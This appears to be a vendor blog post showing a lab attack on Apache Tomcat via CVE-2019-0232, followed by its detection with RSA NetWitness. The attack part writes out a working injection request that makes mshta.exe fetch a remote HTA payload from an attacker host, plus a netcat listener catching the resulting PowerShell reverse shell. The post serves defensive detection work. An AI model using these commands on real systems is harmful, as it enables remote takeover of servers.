Marco Meli

Detecting Living-Off-The-Land tactics with the RSA NetWitness Platform

Blog Post created by Marco Meli Employee on Feb 22, 2020

What are LotL tactics?

Living-Off-The-Land tactics are those that involve the use of legitimate tools for malicious purposes. This is an old concept but a recent growing trend among threat actors because these types of techniques are very difficult to detect considering that the tools used are whitelisted most of the time. A good list of applications that can be used for these type of tactics can be found at LOLBAS (Windows) and GTFOBins (UNIX).



The first part of this article will show how an attacker is able to spot and exploit a recent RCE (Remote Code Execution) vulnerability for Apache Tomcat. We will see how the attacker will eventually be able to get a reverse shell using a legitimate Windows utility mshta.exe. The second part will focus on the detection phase leveraging the RSA NetWitness Platform.



The attacker has targeted an organization we will call examplecorp throughout this blog post. During the enumeration phase, thanks to resources such as Google dorks, and nmap, the attacker has discovered the company runs a Tomcat server which is exposed to the Internet. Upon further research, the attacker finds a vulnerability and successfully exploits it in order to obtain a reverse shell, which will serve as the foundation for his malicious campaign against examplecorp


To achieve what has been described in the above scenario the attacker uses different tools and services:


The scenario is simulated on a virtual local environment. Below is a list of the IP addresses used:

  •  --> attacker machine (Kali Linux)
  •    --> victim/examplecorp machine  (Windows host where Tomcat is running)
  •  --> remote server where the attacker stored the malicious payload (shell.hta)


Part 1 - Attack phase

With enumeration tools such as nmap, gobuster, etc., the attacker discovers that the Tomcat server is on version 9.0.17, it is running on Windows and it serves a legacy application through a CGI Servlet at the following address:


Hello World!

In our example the application will be as simple as "Hello, World!" but will be something else in reality.


Upon further research the attacker discovers a vulnerability (CVE-2019-0232) in the CGI Servlet component of Tomcat prior to version 9.0.18. A detailed description of the vulnerability can be found here at the following links:


With a simple test the attacker can verify the vulnerability. Just by adding ?&dir at the end of the URL the attacker can see the output of the dir command on the affected Windows server Tomcat is running on.

root@kali:~# curl ""
Hello, World!
Volume in drive C has no label.
Volume Serial Number is 4033-77BA

Directory of C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi

19/12/2019  13:27    <DIR>          .
19/12/2019  13:27    <DIR>          ..
17/12/2019  15:00    <DIR>          %SystemDrive%
16/12/2019  21:37                67 app.bat
19/12/2019  13:19                21
               2 File(s)             88 bytes
               3 Dir(s)  39,850,405,888 bytes free


Now the attacker decides to create a malicious payload that will spawn a remote shell. To do that, he uses a tool dubbed WeirdHTA that allows to create an obfuscated remote shell in hta format that he can then invoke remotely using the Microsoft mshta utility. The attacker tests the file with the most common anti virus software to ensure is properly obfuscated and not detected before initiating the attack.



The attacker launches the below command to connect to the remote server and run the malicious payload:

root@kali:~# curl -v ""
*   Trying
* Connected to ( port 8080 (#0)
> GET /cgi/app.bat?&C%3A%2FWindows%2FSystem32%2Fmshta.exe+http%3A%2F%2F192.168.16.146%3A8000%2Fshell.hta HTTP/1.1
> Host:
> User-Agent: curl/7.66.0
> Accept: */*
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Content-Type: text/plain
< Content-Length: 15
< Date: Fri, 31 Jan 2020 10:44:16 GMT
Hello, World!
* Connection #0 to host left intact


If we break this command down we can see the following:

  1. curl -v "
      The above is the URL of the Tomcat server where the CGI Servlet app (app.bat) resides
  2. ?&C%3A%2FWindows%2FSystem32%2Fmshta.exe+
      The second part is a URL-encoded string that decodes to C:\Windows\System32\mshta.exe
  3. http%3A%2F%2F192.168.16.146%3A8000%2Fshell.hta"
    This last part is the URL-encoded address of the remote location ( where the attacker keeps the malicious payload, that is shell.hta.


The attacker, who had created a listener on his remote server, obtains the shell:

root@kali:~# nc -lvnp 7777
listening on [any] 7777 ...
connect to [] from (UNKNOWN) [] 50057
Client Connected...

PS C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi> dir

    Directory: C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi

Mode                LastWriteTime         Length Name                                                                 
----                -------------         ------ ----                                                                 
d-----       17/12/2019     15:00                %SystemDrive%                                                        
-a----       16/12/2019     21:37             67 app.bat                                                              
-a----       19/12/2019     13:19             21                                                             

PS C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi>


Part 2 - Detection phase with the RSA NetWitness Platform

While investigating with RSA NetWitness Endpoint the analyst notices the Behaviors of Compromise meta key populated with the value runs mshta with http argument, which is unusual.



Filtering by the runs mshta with http argument indicator, the analyst observes that an application running on Tomcat is launching mshta which in turn is calling an hta file residing on a remote server (



Drilling into these sessions using the event analysis panel, the analyst is able to confirm the events in more detail:

  1. app.bat ( running on machine with hostname winEP1 and IP
  2. created the process
  3. called mshta.exe
  4. mshta.exe runs with the parameter


The analyst, knowing the affected machine IP address, decides to dig deeper with the RSA NetWitness Platform using the network (i.e. packet) data.


  1. Investigating around the affected machine IP in the same time range, the analysts notices the IP address (attacker) connecting to Tomcat on port 8080 (to test whether the server is vulnerable to CVE-2019-0232) by adding the dir command to the URL. He can also see the response.

  2. Immediately after the first event, the analyst notices the same IP address connecting on the same port but this time using a more complex GET request which seems to allude to malicious behavior.

  3. Now the analysts filters by ip.dst= (the IP address found in the GET request above) and he is able to see the content of the shell.hta file. Although it is encoded and not human-readable it is extremely suspicious!

  4. Next, the analysts filters by ip.dst= and he eventually sees that the attacker has obtained shell access (through PowerShell) to the windows machine where Tomcat resides.



LotL tactics are very effective and difficult to detect due to the legitimate nature of the tools used to perform such attacks. Constant monitoring and proactive threat hunting are vital for any organization. The RSA NetWitness Platform provides analysts with the visibility needed to detect such activities, thus reducing the risk of being compromised.